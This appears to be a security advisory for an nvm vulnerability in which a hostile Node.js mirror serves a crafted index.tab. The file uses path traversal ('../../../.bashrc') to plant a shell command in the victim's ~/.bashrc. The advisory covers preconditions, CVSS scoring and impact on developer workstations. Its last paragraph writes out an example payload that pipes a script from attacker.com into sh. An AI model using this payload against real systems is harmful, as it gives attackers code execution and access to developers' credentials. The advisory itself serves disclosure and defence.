Node Version Manager CVE-2026-15921

Exploitation requires three simultaneous conditions: (1) The victim must be running nvm version 0.32.1 through 0.40.5. (2) The victim must execute a command that refreshes remote LTS aliases - specifically nvm ls-remote, nvm install --lts, nvm install lts/*, or any alias-refresh operation - during the attacker's window of mirror control. (3) The victim's nvm must communicate with a hostile mirror, achieved via one of: a network MITM attack against an HTTP mirror endpoint, a compromised nodejs.org CDN or third-party mirror, or the victim having a maliciously preconfigured NVM_NODEJS_ORG_MIRROR or NVM_IOJS_ORG_MIRROR environment variable pointing to an attacker-controlled server. No special OS privileges are required and no authentication to nvm itself is involved. Limiting factors: HTTPS with certificate validation mitigates MITM against the official nodejs.org mirror; developers who never run --lts or ls-remote are not exposed; users who have never run nvm against a third-party mirror are limited to CDN-compromise scenarios.

Despite the 'RCE' tag, the CVSS 4.0 base score of 2.1 correctly reflects the mandatory attack preconditions: AT:P (attack prerequisites present) requires the victim's nvm to communicate with a hostile mirror - achieved via MITM, compromised mirror infrastructure, or a deliberately misconfigured NVM_NODEJS_ORG_MIRROR/NVM_IOJS_ORG_MIRROR environment variable. UI:A (active user interaction) requires the victim to run an affected nvm command. These two gating conditions sharply limit opportunistic or mass exploitation. No EPSS score was provided; KEV status is negative, indicating no confirmed active exploitation by CISA. That said, the impact ceiling is genuinely high: successful exploitation grants the attacker an arbitrary write primitive (path and content both controlled by the mirror) that persists silently until the user opens a new shell, at which point injected commands execute under the victim's identity. Developer workstations - the primary nvm deployment environment - are high-value targets because they typically have access to source code, credentials, cloud tokens, and CI/CD pipelines. The CVSS 4.0 VI:L rating appears conservative given that a write to .bashrc with attacker-controlled content is effectively a deferred arbitrary code execution primitive; this analysis assesses real-world integrity impact as high when the attack prerequisites are met. Priority should be elevated for developers who use public or third-party Node.js mirrors rather than the canonical nodejs.org mirror.

An attacker positioned as a MITM on the victim's network (or operating a compromised mirror the victim's NVM_NODEJS_ORG_MIRROR points to) serves a crafted index.tab in which the LTS codename column contains ../../../.bashrc and the version column contains a shell command payload such as $(curl attacker.com/shell.sh | sh) #. When the victim runs nvm install --lts or nvm ls-remote, nvm writes that payload string to ~/.bashrc. On the victim's next shell login, the injected command executes silently under the victim's credentials. A proof-of-concept demonstrating both the traversal and payload execution is included in the upstream fix commit's test suite.